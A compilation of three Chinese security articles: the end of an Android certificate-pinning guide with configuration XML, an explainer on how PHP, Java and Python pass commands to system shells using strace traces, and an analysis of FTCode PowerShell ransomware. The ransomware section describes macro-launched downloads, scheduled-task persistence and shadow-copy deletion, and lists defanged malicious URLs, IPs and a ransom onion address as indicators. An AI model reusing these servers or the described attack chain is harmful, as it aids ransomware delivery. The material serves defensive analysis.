> 集.
> * **仅调试重写** :让应用开发者可以安全调试其应用的安全连接,而不会增加安装基础的风险.
> * **明文流量选择退出** :让应用可以防止自身意外使用明文流量.
> * **证书固定** :这是一项高级功能,让应用可以针对安全连接限制哪些服务器密钥受信任.
>
>
> 默认情况下,面向 Android 7.0 的应用仅信任系统提供的证书,且不再信任用户添加的证书颁发机构 (CA).如果面向 Android N
> 的应用希望信任用户添加的
> CA,则应使用[网络安全性配置](https://developer.android.com/preview/features/security-> config.html)以指定信任用户 CA 的方式.
## 0x05 网络安全性配置 network-security-config 使用参考
完整用法请阅读
<https://developer.android.com/preview/features/security-config.html>
<https://developer.android.com/training/articles/security-config>
这里列举几个常用的配法.
### 系统证书锁定配置参考
* 信任系统证书 移除了 <certificates src="user"> 用户安装的证书的信任</certificates>
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config>
<trust-anchors>
<certificates src="system"/>
</trust-anchors>
</base-config>
</network-security-config>
* release模式下只信任系统证书
* debug模式下加入对信任用户安装的证书
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config>
<trust-anchors>
<certificates src="system"/>
</trust-anchors>
</base-config>
<debug-overrides>
<trust-anchors>
<certificates src="system"/>
<certificates src="user"/>
</trust-anchors>
</debug-overrides>
</network-security-config>
### 根证书锁定配置参考
* 强制锁定了两个根证书GoDaddy Class 2 Certification Authority Root Certificate和DigiCert
* debug模式下加入对信任用户安装的证书
* 超过2034-06-30锁定解除.
<?xml version="1.0" encoding="utf-8"?> <network-security-config>
<!-- Official Android N 7.0 API -->
<domain-config>
<domain includeSubdomains="true">www.mi.com</domain>
<pin-set expiration="2034-06-30">
<!--GoDaddy Class 2 Certification Authority Root Certificate-->
<pin digest="SHA-256">VjLZe/p3W/PJnd6lL8JVNBCGQBZynFLdZSTIqcO0SJ8=</pin>
<!--backup pin-->
<pin digest="SHA-256">VjLZe/p3W/PJnd6lL8JVNBCGQBZynFLdZSTIqcO0SJ8=</pin>
</pin-set>
<!-- TrustKit Android API -->
<trustkit-config enforcePinning="true">
<!-- Add a reporting URL for pin validation reports -->
<report-uri>http://report.m.com/log_report</report-uri>
</trustkit-config>
</domain-config>
<debug-overrides>
<trust-anchors>
<!-- For debugging purposes, add a debug CA and override pins -->
<!--<certificates overridePins="true" src="@raw/debugca" />--> <certificates overridePins="true" src="user"/>
</trust-anchors>
</debug-overrides>
</network-security-config>
## 0x06 IoT设备上的证书锁定
设备ROM发版相对app发版要复杂许多,所以设备的证书锁定场景复杂性更高.这样先将设备抽象成两大类
* 系统自带证书的通用操作系统比如AndroidTV.
* 系统没有预制证书的实时操作系统(RTOS).
如果设备是第一类通用操作系统比较好处理
* 如果证书是CA签发的,只需信任系统证书即可,最好同时开启系统分区保护.
* 如果证书是自签发的,除了信任系统证书以外额外只信任此自签发证书即可,切勿为了跑通业务盲目信任所有证书.一些业务刚开发的时候可能还没买证书,所以初期代码是信任所有证书,后来买正式证书后忘记修复证书信任代码.例如没买证书之前curl使用了-k参数,买完证书后忘记统一除去此参数.
-k, --insecure Allow connections to SSL sites without certs (H)
如果设备是第二类RTOS,首先得确认其是否支持SSL,其上运行的业务是否需要SSL.如果需要且支持,则可以通过自行预制根再参考前文完成锁定.
## 0x07 重复造轮子
PinKit是一个android下简化的证书锁定工具类
* PinKit方便SDK集成,不与network-security-config冲突.
* 网上代码大多取public key的hash进行base64 encod sha256当为Pin码,而浏览器上显示的是证书指纹的sha256.为了方便肉眼观察PinKit采用了同浏览器一致的证书指纹hex encode sha256当为Pin码
* PinKit同TrustKit和AndroidPinning类似,都do the system's SSL validation : 先用系统的TrustManagerImpl和内置CA验一遍,再用锁定的CA验. (所以自签发证书这个库来锁需要注意下配置)
这样更为稳妥,至少有系统默认的一套为你兜底. 但是貌似有些臃肿,和其两次做hostNameVerified类似.
参考TrustKit完成SSLPinKitDemo如下
<https://github.com/WooyunDota/SSLPinKitDemo>
## 0x08 常见Q&A
测试如何抓包了?
判断下app是debug版本还是release版本,debug版本不锁证书或者在锁定列表里加入一个测试证书.
做了根证书锁定如果换CA怎么办了?
如果只是系统证书锁定则不考虑此场景,如果是根证书锁定则需加入一些更换可能性较高CA的根证书指纹做备份,建议选择安全性较高EV证书,当然也会贵一些了.注意根证书的超期时间,选择时效长一些的.
webview中是的请求是否要做证书锁定?
不建议,不推荐在webview中做证书锁定.
证书吊销,失效等问题是否需要业务自己再实现一次?
不需要,方案复用系统TM检测.在系统TrustManger基础上收缩CA根证书的范围.
会影响正常用户的代理(梯子软件)的使用吗?
一般是没有影响的.
## 0x09 X.509 v3 format
The basic X.509 v3 format described in ASN.1:
--------------------------------------------------------------------- -- X.509 signed certificate
--------------------------------------------------------------------- SignedContent ::= SEQUENCE
{
certificate CertificateSigned,
algorithm Object Identifier,
signature BITSTRING
}
--------------------------------------------------------------------- -- X.509 certificate to be signed
--------------------------------------------------------------------- CertificateToBeSigned ::= SEQUENCE
{
version [0] CertificateVersion DEFAULT v1,
serialNumber CertificateSerialNumber,
signature AlgorithmIdentifier,
issuer Name
validity Validity,
subject Name
subjectPublicKeyInfo SubjectPublicKeyInfo,
issuerUniqueIdentifier [1] IMPLICIT UniqueIdentifier OPTIONAL,
subjectUniqueIdentifier [2] IMPLICIT UniqueIdentifier OPTIONAL,
extensions [3] Extensions OPTIONAL
}
## 0x10 Reference
<https://medium.com/@appmattus/android-security-ssl-pinning-1db8acb6621e>
<https://developer.android.com/training/articles/security-config>
<https://msdn.microsoft.com/en-us/library/windows/desktop/bb540800(v=vs.85).aspx>
<https://www.myssl.cn/home/article-61.html> | 社区文章 |
# 命令执行底层原理探究-PHP（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
针对不同平台/语言下的命令执行是不相同的，存在很大的差异性。因此，这里对不同平台/语言下的命令执行函数进行深入的探究分析。
文章开头会对不同平台(Linux、Windows)下：终端的指令执行、语言(PHP、Java、Python)的命令执行进行介绍分析。后面，主要以PHP语言为对象，针对不同平台，对命令执行函数进行底层深入分析，这个过程包括：PHP内核源码的编译、运行、调试、审计等，其它语言分析原理思路类似。19
该系列分析文章主要分为四部分，如下：
* 第一部分：命令执行底层原理探究-PHP (一)
针对不同平台(Linux、Windows)下：终端的指令执行、语言(PHP、Java、Python)的命令执行进行介绍分析。
* 第二部分：命令执行底层原理探究-PHP (二)
主要以PHP语言为对象，针对不同平台，进行环境准备、PHP内核源码的编译、运行、调试等。
* 第三部分：命令执行底层原理探究-PHP (三)
针对Windows平台下，PHP命令执行函数的底层原理分析。
* 第四部分：命令执行底层原理探究-PHP (四)
针对Linux平台下，PHP命令执行函数的底层原理分析。
本文 **《 命令执行底层原理探究-PHP (一) 》**
主要讲述的是第一部分：针对不同平台(Linux、Windows)下：终端的指令执行、语言(PHP、Java、Python)的命令执行进行介绍分析。
## 平台语言
### 不同平台终端指令执行
不同平台终端中执行的命令方式一般有两种：自身终端封装的指令(内置)、终端下调用其它目录下的可执行程序(外部)。
#### Linux
Linux下终端一般为`/bin/bash`、`/bin/sh`、`/bin/zsh`等，这里以`bash`终端为例测试。
以Linux为例【Windows等平台原理同Linux类似】，Linux下终端内建(内置)的指令类型为：`shell built-in command`。
所谓`shell built-in command`，就是那些内建在`linux shell`里面的`command`指令。
通常情况下，在`linux shell`下面执行一个`command`指令，shell会查找`command`是否为`built-in
command`类型，对于`built-in command`指令类型，shell会自己解释执行，而无需fork一个`child
process`子进程来执行该`command`指令；对于，不是`built-in
command`指令类型，shell会从环境变量中按顺序搜索该`command`指令，如果能查到则会fork一个`child
process`子进程来执行该`command`指令；然而，对于找不到的`command`指令，一般为：执行的指令不存在、指令未加入到环境变量中。
那么如何进行终端内建指令的判断与查看呢，对于内建指令可以使用`type`指令去判断
┌──(root💀toor)-[~/桌面]
└─# type echo
echo is a shell builtin
┌──(root💀toor)-[~/桌面]
└─# type whoami
whoami is /usr/bin/whoami
┌──(root💀toor)-[~/桌面]
└─#
或着也可以使用其它指令进行查找判断：`which、where`
┌──(root💀toor)-[~/桌面]
└─# which echo
echo: shell built-in command
┌──(root💀toor)-[~/桌面]
└─# which whoami
/usr/bin/whoami
┌──(root💀toor)-[~/桌面]
└─#
┌──(root💀toor)-[~/桌面]
└─# where echo
echo: shell built-in command
echo
/bin/echo
┌──(root💀toor)-[~/桌面]
└─# where whoami
/usr/bin/whoami
/bin/whoami
┌──(root💀toor)-[~/桌面]
└─#
注意：在Linux平台，有些命令虽然为内建命令，但是系统关键目录也存在其可执行文件。
这里也可以使用`enable`或`help`指令，查看终端内建的所有指令
* 第一种：`enable`指令
┌──(root💀toor)-[~/桌面]
└─# enable
- .
:
[
alias
autoload
bg
bindkey
break
builtin
bye
cd
chdir
command
compadd
comparguments
compcall
compctl
compdescribe
compfiles
compgroups
compquote
compset
comptags
comptry
compvalues
continue
declare
dirs
disable
disown
echo
echotc
echoti
emulate
enable
eval
exec
exit
export
false
fc
fg
float
functions
getln
getopts
hash
history
integer
jobs
kill
let
limit
local
log
logout
noglob
popd
print
printf
private
pushd
pushln
pwd
r
read
readonly
rehash
return
sched
set
setopt
shift
source
suspend
test
times
trap
true
ttyctl
type
typeset
ulimit
umask
unalias
unfunction
unhash
unlimit
unset
unsetopt
vared
wait
whence
where
which
zcompile
zformat
zle
zmodload
zparseopts
zregexparse
zstat
zstyle
┌──(root💀toor)-[~/桌面]
└─#
* 第二种：`help`指令
接着对终端（内置|外置）命令进行测试，测试终端`/bin/zsh`：
* 测试：`whoami`指令
先对`whoami`指令进行类型探测与指令定位查询
# 指令探测：非内置指令
┌──(root💀toor)-[~/桌面]
└─# type whoami
whoami is /usr/bin/whoami
┌──(root💀toor)-[~/桌面]
└─#
# 指令定位查询：搜索发现系统特殊目录存在`whoami`可执行程序
┌──(root💀toor)-[~/桌面]
└─# where whoami
/usr/bin/whoami
/bin/whoami
┌──(root💀toor)-[~/桌面]
└─#
注意：`/bin`目录为`/usr/bin`目录的链接
然后，在`zsh`终端写入`For循环`执行`whoami`指令查看是否为内部执行或外部调用
for n in {0..10000000}; do whoami ; done
另一侧，使用`htop`动态进程监控程序对该终端进行监控，可发现`whoami`指令并非`zsh`终端内置封装的指令
* 测试：`echo`指令
同样，对`echo`指令进行类型探测与指令定位查询
# 指令探测：内置指令
┌──(root💀toor)-[~/桌面]
└─# type echo
echo is a shell builtin
┌──(root💀toor)-[~/桌面]
└─#
# 指令定位查询：搜索发现系统特殊目录存在`echo`可执行程序，同时还发现存在`echo: shell built-in command`【终端内置指令】
┌──(root💀toor)-[~/桌面]
└─# where echo
echo: shell built-in command
/usr/bin/echo
/bin/echo
┌──(root💀toor)-[~/桌面]
└─#
然后，在`zsh`终端写入`For循环`执行`echo`指令查看是否为内部执行或外部调用
for n in {0..10000000}; do echo 1 ; done
另一侧，使用`htop`动态进程监控程序对该终端进行监控，可以发现`echo`指令为`zsh`终端内置封装的指令，并未出现外部调用
#### Windows
Windows下终端一般为`cmd.exe`、`powershell.exe`等，这里以`cmd`来测试。终端指令执行原理同上述Linux讲解原理相同，分为终端内置指令与外部调用指令。
那么，针对Windows平台可执行终端，如何进行终端内建指令的判断与查看呢。可惜Windows平台终端不像Linux终端存在相应的`type`指令进行判断与`enable`、`help`指令查看所有内建指令。不过在Windows终端里可以借助`where`或`set
PATH`指令进行指令判断。
* 第一种：`where`指令【不太友好】
从系统环境变量`PATH`里面定位查询（注意人为增添的环境变量的影响），如果能查到一般来说可以判定为外部调用指令（排除非系统特殊目录），否则为内部调用指令（排除不存在指令）
# 外部调用指令
C:\Users\Qftm>where whoami
C:\Windows\System32\whoami.exe
C:\Users\Qftm>
# 内部调用指令
C:\Users\Qftm>where cd
INFO: Could not find files for the given pattern(s).
C:\Users\Qftm>
# 不存在指令
C:\Users\Qftm>where qftm
INFO: Could not find files for the given pattern(s).
C:\Users\Qftm>
# 内部调用指令（排除人为增添的环境变量的影响）（排除非系统特殊目录）
C:\Users\Qftm>where echo
D:\QSoftware\W3Server\phpstudy2019\Extensions\MySQL5.7.26\bin\echo.exe
C:\Users\Qftm>
* 第二种：`set path`指令【友好】
将系统环境变量临时设置为`null`，然后对指令进行帮助查询，如果能查到则判定为内置指令，否则为外部调用。
# path置空
C:\Users\Qftm>set path=
C:\Users\Qftm>path
PATH=(null)
C:\Users\Qftm>
# 内部调用指令
C:\Users\Qftm>cd /?
Displays the name of or changes the current directory.
CHDIR [/D] [drive:][path]
CHDIR [..]
CD [/D] [drive:][path]
CD [..]
.. Specifies that you want to change to the parent directory.
Type CD drive: to display the current directory in the specified drive.
Type CD without parameters to display the current drive and directory.
Use the /D switch to change current drive in addition to changing current
directory for a drive.
If Command Extensions are enabled CHDIR changes as follows:
The current directory string is converted to use the same case as
the on disk names. So CD C:\TEMP would actually set the current
directory to C:\Temp if that is the case on disk.
CHDIR command does not treat spaces as delimiters, so it is possible to
CD into a subdirectory name that contains a space without surrounding
the name with quotes. For example:
cd \winnt\profiles\username\programs\start menu
is the same as:
cd "\winnt\profiles\username\programs\start menu"
which is what you would have to type if extensions were disabled.
C:\Users\Qftm>
# 外部调用指令
C:\Users\Qftm>whoami /?
'whoami' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Qftm>
# 不存在指令
C:\Users\Qftm>qftm /?
'qftm' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Qftm>
注意：Windows下终端`help`指令并不能够查询终端内建指令：首先`help`指令为外部调用指令，然后`help`指令查询出的所有指令=(内建指令+外部指令)
# help：属于外部指令
C:\Users\Qftm>where help
C:\Windows\System32\help.exe
C:\Users\Qftm>
# help：内建指令+外部指令（不同于Linux下bash等终端）
C:\Users\Qftm>help
For more information on a specific command, type HELP command-name
ASSOC Displays or modifies file extension associations.
ATTRIB Displays or changes file attributes.
BREAK Sets or clears extended CTRL+C checking.
BCDEDIT Sets properties in boot database to control boot loading.
CACLS Displays or modifies access control lists (ACLs) of files.
CALL Calls one batch program from another.
CD Displays the name of or changes the current directory.
CHCP Displays or sets the active code page number.
CHDIR Displays the name of or changes the current directory.
CHKDSK Checks a disk and displays a status report.
CHKNTFS Displays or modifies the checking of disk at boot time.
CLS Clears the screen.
CMD Starts a new instance of the Windows command interpreter.
COLOR Sets the default console foreground and background colors.
COMP Compares the contents of two files or sets of files.
COMPACT Displays or alters the compression of files on NTFS partitions.
CONVERT Converts FAT volumes to NTFS. You cannot convert the
current drive.
COPY Copies one or more files to another location.
DATE Displays or sets the date.
DEL Deletes one or more files.
DIR Displays a list of files and subdirectories in a directory.
DISKPART Displays or configures Disk Partition properties.
DOSKEY Edits command lines, recalls Windows commands, and
creates macros.
DRIVERQUERY Displays current device driver status and properties.
ECHO Displays messages, or turns command echoing on or off.
ENDLOCAL Ends localization of environment changes in a batch file.
ERASE Deletes one or more files.
EXIT Quits the CMD.EXE program (command interpreter).
FC Compares two files or sets of files, and displays the
differences between them.
FIND Searches for a text string in a file or files.
FINDSTR Searches for strings in files.
FOR Runs a specified command for each file in a set of files.
FORMAT Formats a disk for use with Windows.
FSUTIL Displays or configures the file system properties.
FTYPE Displays or modifies file types used in file extension
associations.
GOTO Directs the Windows command interpreter to a labeled line in
a batch program.
GPRESULT Displays Group Policy information for machine or user.
GRAFTABL Enables Windows to display an extended character set in
graphics mode.
HELP Provides Help information for Windows commands.
ICACLS Display, modify, backup, or restore ACLs for files and
directories.
IF Performs conditional processing in batch programs.
LABEL Creates, changes, or deletes the volume label of a disk.
MD Creates a directory.
MKDIR Creates a directory.
MKLINK Creates Symbolic Links and Hard Links
MODE Configures a system device.
MORE Displays output one screen at a time.
MOVE Moves one or more files from one directory to another
directory.
OPENFILES Displays files opened by remote users for a file share.
PATH Displays or sets a search path for executable files.
PAUSE Suspends processing of a batch file and displays a message.
POPD Restores the previous value of the current directory saved by
PUSHD.
PRINT Prints a text file.
PROMPT Changes the Windows command prompt.
PUSHD Saves the current directory then changes it.
RD Removes a directory.
RECOVER Recovers readable information from a bad or defective disk.
REM Records comments (remarks) in batch files or CONFIG.SYS.
REN Renames a file or files.
RENAME Renames a file or files.
REPLACE Replaces files.
RMDIR Removes a directory.
ROBOCOPY Advanced utility to copy files and directory trees
SET Displays, sets, or removes Windows environment variables.
SETLOCAL Begins localization of environment changes in a batch file.
SC Displays or configures services (background processes).
SCHTASKS Schedules commands and programs to run on a computer.
SHIFT Shifts the position of replaceable parameters in batch files.
SHUTDOWN Allows proper local or remote shutdown of machine.
SORT Sorts input.
START Starts a separate window to run a specified program or command.
SUBST Associates a path with a drive letter.
SYSTEMINFO Displays machine specific properties and configuration.
TASKLIST Displays all currently running tasks including services.
TASKKILL Kill or stop a running process or application.
TIME Displays or sets the system time.
TITLE Sets the window title for a CMD.EXE session.
TREE Graphically displays the directory structure of a drive or
path.
TYPE Displays the contents of a text file.
VER Displays the Windows version.
VERIFY Tells Windows whether to verify that your files are written
correctly to a disk.
VOL Displays a disk volume label and serial number.
XCOPY Copies files and directory trees.
WMIC Displays WMI information inside interactive command shell.
For more information on tools see the command-line reference in the online help.
C:\Users\Qftm>
接着对终端（内置|外置）命令进行测试，测试终端`cmd.exe`：
* 测试：`whoami`指令
先对`whoami`指令进行类型探测与指令定位查询
# 类型探测：外部调用指令
# 定位查询：系统可执行程序
C:\Users\Qftm>where whoami
C:\Windows\System32\whoami.exe
C:\Users\Qftm>
然后，在`cmd`终端写入`For`循环执行`whoami`指令查看是否为内部执行或外部调用
C:\Users\Qftm>for /l %i in (1,1,1000000) do whoami
另一侧，打开任务管理进行`cmd`终端的监控，可发现`whoami`指令并非`cmd.exe`终端内置封装的指令
* 测试：`echo`指令
同样，对`echo`指令进行类型探测与指令定位查询
# 类型探测：内部调用指令
# 定位查询：非系统可执行程序
C:\Users\Qftm>where echo
D:\QSoftware\W3Server\phpstudy2019\Extensions\MySQL5.7.26\bin\echo.exe
C:\Users\Qftm>
然后，在`cmd`终端写入`For`循环执行`echo`指令查看是否为内部执行或外部调用
for /l %i in (1,1,1000000) do echo 1
另一侧，打开任务管理进行`cmd`终端的监控，可以发现`echo`指令为终端内置封装的指令，并未出现外部调用
### 语言差异
针对命令执行函数，底层实现上是否存在命令执行程序 `cmd.exe`、`/bin/sh`、`/bin/bash`
等，去执行命令执行函数传入的参数【系统命令】。这个过程相当于底层是否引入第三方可执行终端去执行相应命令。
比如：`可执行函数(系统命令)`
CommandExecFunc(echo 111 > shell.txt); //echo是一个可执行程序
上述命令执行函数模型在【Linux平台/windows平台】不同语言下面执行效果不同。
#### PHP
PHP - 底层调用系统终端，执行命令 Mode => Window：cmd.exe /c Command || Linux：sh -c Command
在`PHP`语言里面，针对Linux平台，系统命令`echo 111 >
shell.txt`传入`CommandExecFunc`函数，最终在底层相当于执行`/bin/sh -c echo 111 >
shell.txt`。成功创建文件`shell.txt`【执行过程相当于：在`/bin/sh`终端下执行命令`echo
111`，并将echo结果通过重定向符写入文件`shell.txt`中。这里的重定向符不是echo中的参数或字符串，而是在`/bin/sh`下面起特殊作用。这里的echo并不是可执行程序`/bin/echo`，而是`/bin/sh`执行终端中的内建命令】【进程相关：一个进程`/bin/sh`，在`/bin/sh`进程中执行系统命令，而不是执行系统程序】
* 跟踪一下程序执行流程：`For Linux`
利用`strace`程序执行监视可知，底层通过`execve`系统调用来启动相关进程、然后通过`/bin/sh`进程来执行相关指令（此处`echo`为`sh`内置指令）。
┌──(root💀toor)-[~/桌面/CodeDebug/php]
└─# strace -f -e execve php -r "system('echo 111 > shell.txt');"
execve("/usr/bin/php", ["php", "-r", "system('echo 111 > shell.txt');"], 0x7ffd51277198 /* 53 vars */) = 0
strace: Process 3436 attached
[pid 3436] execve("/bin/sh", ["sh", "-c", "echo 111 > shell.txt"], 0x562c96ef1eb0 /* 53 vars */) = 0
[pid 3436] +++ exited with 0 +++
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=3436, si_uid=0, si_status=0, si_utime=0, si_stime=0} --- +++ exited with 0 +++
┌──(root💀toor)-[~/桌面/CodeDebug/php]
└─# ls
shell.txt
┌──(root💀toor)-[~/桌面/CodeDebug/php]
└─#
同理，针对Windows平台：系统命令`echo 111 >
shell.txt`传入`CommandExecFunc`函数，最终在底层相当于执行`cmd.exe /c echo 111 >
shell.txt`。成功创建文件`shell.txt`【执行过程相当于：在`cmd`终端下执行命令`echo
111`，并将echo结果通过重定向符写入文件`shell.txt`中。【进程相关：一个进程`cmd.exe`，在`cmd.exe`进程中执行系统命令，而不是执行系统程序】
* 跟踪一下程序执行流程：`For Windows`
使用OD动态调试，加载`php.exe`程序，对相关创建进程的系统API下断点（如果不知道是那个`CreateProcess
API`可以把查询到的都进行断点即可）
断点之后，F9使程序运行至用户交互处，然后输入PHP执行指令`system('echo 111 > shell.txt');`
运行PHP执行指令后，程序可到断点处，然后通过调用栈可知：底层通过`CreateProcessW`系统API调用来启动相关进程、然后通过`cmd`进程来执行相关指令（此处`echo`为`cmd`内置指令）（注意：这里也可查看到PHP程序的完整调用链）
#### Java
Java - 底层不调用系统终端，自己启动传入的可执行程序 Mode => Window：Command || Linux：Command
但是在`Java`语言里面，针对Linux平台，系统命令`echo 111 >
shell.txt`传入`CommandExecFunc`函数，最终在底层相当于执行`/bin/echo 111 >
shell.txt`成功打印一个字符串`"111 >
shell.txt"`并没有创建文件`shell.txt`。【执行过程相当于：运行可执行程序`/bin/echo`并传入参数`111 >
shell.txt`进行打印输出，这里的特殊字符`>`被当作普通字符串被echo程序打印。这里的`echo`作为可执行程序出现，而不是终端中的命令】【进程相关：一个进程`/bin/echo`，在`/bin/echo`进程中传入字符串参数`111
> shell.txt`进行打印输出】【有关可执行程序怎么查询：从环境变量中进行查询】
测试代码如下
import org.apache.commons.io.IOUtils;
import java.lang.Runtime;
public class CommandExec1 {
public static void main(String[] args) {
try{
String str = IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream());
System.out.println(str);
}
catch(Exception a){
System.out.println(a);
}
}
}
* 跟踪一下程序执行流程：`For Linux`
程序执行监视情况：从系统环境变量中查找输入的指令可执行程序位置，然后由`execve`系统调用来启动相关程序进程（并未涉及系统终端调用）。
┌──(root💀toor)-[~/桌面/CodeDebug/java]
└─# strace -f -e execve java CommandExec1
execve("/usr/bin/java", ["java", "CommandExec1"], 0x7ffdb259ee90 /* 53 vars */) = 0
strace: Process 3923 attached
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[pid 3923] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} --- strace: Process 3924 attached
strace: Process 3925 attached
strace: Process 3926 attached
strace: Process 3927 attached
strace: Process 3928 attached
strace: Process 3929 attached
strace: Process 3930 attached
strace: Process 3931 attached
strace: Process 3932 attached
[pid 3932] execve("/mnt/hgfs/QSec/Pentest/Red-Team/\347\245\236\345\205\265\345\210\251\345\231\250/Windows/VSCode/VSCode-linux-x64/whoami", ["whoami"], 0x7ffd28368b80 /* 53 vars */) = -1 ENOENT (没有那个文件或目录)
[pid 3932] execve("/usr/local/sbin/whoami", ["whoami"], 0x7ffd28368b80 /* 53 vars */) = -1 ENOENT (没有那个文件或目录)
[pid 3932] execve("/usr/local/bin/whoami", ["whoami"], 0x7ffd28368b80 /* 53 vars */) = -1 ENOENT (没有那个文件或目录)
[pid 3932] execve("/usr/sbin/whoami", ["whoami"], 0x7ffd28368b80 /* 53 vars */) = -1 ENOENT (没有那个文件或目录)
[pid 3932] execve("/usr/bin/whoami", ["whoami"], 0x7ffd28368b80 /* 53 vars */) = 0
[pid 3932] +++ exited with 0 +++
[pid 3923] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=3932, si_uid=0, si_status=0, si_utime=0, si_stime=0} --- strace: Process 3933 attached
root
[pid 3931] +++ exited with 0 +++
[pid 3927] +++ exited with 0 +++
[pid 3924] +++ exited with 0 +++
[pid 3923] +++ exited with 0 +++
[pid 3933] +++ exited with 0 +++
[pid 3930] +++ exited with 0 +++
[pid 3929] +++ exited with 0 +++
[pid 3928] +++ exited with 0 +++
[pid 3926] +++ exited with 0 +++
[pid 3925] +++ exited with 0 +++
+++ exited with 0 +++
┌──(root💀toor)-[~/桌面/CodeDebug/java]
└─#
同理，针对Windows平台，系统命令`echo 111 >
shell.txt`传入`CommandExecFunc`函数，最终在底层相当于执行`系统环境变量/echo.exe 111 >
shell.txt`成功打印一个字符串`"111 > shell.txt"`并没有创建文件`shell.txt`。
但是，正常情况下，这里执行上述指令会报错，因为Windows平台，默认情况下系统环境变量中不存在`echo.exe`可执行程序，导致指令无法正常执行
# 无法定位echo可执行程序
D:\QSec\Code-Audit\Tools\Java\Kits\RCE>where echo
INFO: Could not find files for the given pattern(s).
D:\QSec\Code-Audit\Tools\Java\Kits\RCE>where whoami
C:\Windows\System32\whoami.exe
D:\QSec\Code-Audit\Tools\Java\Kits\RCE>
# 执行报错
D:\QSec\Code-Audit\Tools\Java\Kits\RCE>javac RuntimeRCE.java
D:\QSec\Code-Audit\Tools\Java\Kits\RCE>java RuntimeRCE
java.io.IOException: Cannot run program "echo": CreateProcess error=2, The system cannot find the file specified
D:\QSec\Code-Audit\Tools\Java\Kits\RCE>
#### Python
Python - 底层调用系统终端，执行命令 Mode => Window：cmd.exe /c Command || Linux：sh -c Command
而`Python`语言，命令执行函数底层原理实现同`PHP`语言。
总结起来，也就是，命令执行函数执行分为两类，一类：传入的命令仅仅作为可执行终端中的命令执行；另一类：传入的命令仅仅是运行传入的命令中的可执行程序。对象不同，一类：是底层语言系统终端帮我们执行传入的命令；另一类：是自己启动传入的可执行程序。
## 参考链接
* [Build your own PHP on Windows](https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2)
* [Visual Studio docs](https://visualstudio.microsoft.com/zh-hans/vs/)
* [Visual Studio Code docs](https://code.visualstudio.com/docs)
* [《PHP 7底层设计与源码实现+PHP7内核剖析》](https://item.jd.com/28435383700.html)
* [深入理解 PHP 内核](https://www.bookstack.cn/books/php-internals)
* [WINDOWS下用VSCODE调试PHP7源代码](https://www.jianshu.com/p/29bc0443b586)
* [调式PHP源码](https://gywbd.github.io/posts/2016/2/debug-php-source-code.html)
* [用vscode调试php源码](https://blog.csdn.net/Dont_talk/article/details/107719466)
* [GDB: The GNU Project Debugger](http://www.gnu.org/software/gdb)
* [CreateProcessW function](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw)
* [命令注入成因小谈](https://xz.aliyun.com/t/6542)
* [浅谈从PHP内核层面防范PHP WebShell](https://paper.seebug.org/papers/old_sebug_paper/pst_WebZine/pst_WebZine_0x05/0x07_%E6%B5%85%E8%B0%88%E4%BB%8EPHP%E5%86%85%E6%A0%B8%E5%B1%82%E9%9D%A2%E9%98%B2%E8%8C%83PHP_WebShell.html)
* [Program execution Functions](https://www.php.net/manual/en/ref.exec.php)
* [linux系统调用](http://huhaipeng.top/2019/04/20/linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8/)
* [system calls](https://fedora.juszkiewicz.com.pl/syscalls.html) | 社区文章 |
# 垃圾邮件传播新型FTCode无文件勒索病毒
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/Y86Yc_VOTO9tTq6kzRsaPA>
译文仅供参考，具体内容表达以及含义原文为准。
目前勒索病毒仍然是全球最大的威胁，最近一年针对企业的勒索病毒攻击越来越多，不断有新型的勒索病毒出现，各企业一定要保持高度的重视，大部分勒索病毒是无法解密的，近期国外安全研究人员发现了一款基于PowerShell脚本的勒索病毒FTCode，此勒索病毒主要通过垃圾邮件进行传播
近日国外某独立恶意软件安全研究人员曝光了一个新型的FTCode PowerShell勒索病毒，如下所示：
此勒索病毒主要通过垃圾邮件进行传播，发送的垃圾邮件会附加一个压缩包，压缩包里面包含一个恶意的DOC文档，从app.any.run上下载到相应DOC样本，打开DOC文件，如下所示：
启动恶意宏代码，相应的文档内容，如下所示：
恶意宏代码，启动PowerShell进程执行脚本，如下所示：
从恶意服务器下载PowerShell脚本执行，服务器URL地址：
hxxp://home.southerntransitions.net/?need=9f5b9ee&vid=dpec2&81038
打开恶意服务器脚本，如下所示：
从恶意服务器下载VBS脚本，然后设置计划任务自启动项，如下所示：
相应的计划任务自启动项WindowsApplicationService，如下所示：
恶意服务器URL
hxxp://home.southerntransitions.net/?need=6ff4040&vid=dpec2&，脚本内容，如下所示：
解密后的VBS脚本，是一个PowerShell脚本，如下所示：
再次解密PowerShell脚本之后为一个恶意软件下载器，会下载安装其他恶意软件，内容如下所示：
下载完VBS脚本，设置计划任务之后，FTCode PowerShell恶意脚本会解密内置字符串生成一个RSA加密密钥，如下所示：
删除磁盘卷影，操作系统备份等，如下所示：
然后开始加密文件，对指定的文件后缀进行加密，加密后的文件后缀名FTCODE，如下所示：
加密后的文件，如下所示：
在每个加密的文件目录生成勒索提示信息HTM文件READ_ME_NOW.htm，内容如下所示：
需要支付500美元进行解密，勒索病毒解密网站
[http://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd.onion/?guid=[guid](http://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd.onion/?guid=%5Bguid)]
## 附录
### IOC
HASH
A5AF9F4B875BE92A79085BB03C46FE5C
### C&C
185.158.248.151
185.120.144.147
home.southerntransitions.net
connect.southerntransitions.com
### URL
hxxp://home.southerntransitions.net/?need=9f5b9ee&vid=dpec2&81038
hxxp://home.southerntransitions.net/?need=6ff4040&vid=dpec2&
hxxp://connect.southerntransitions.com/
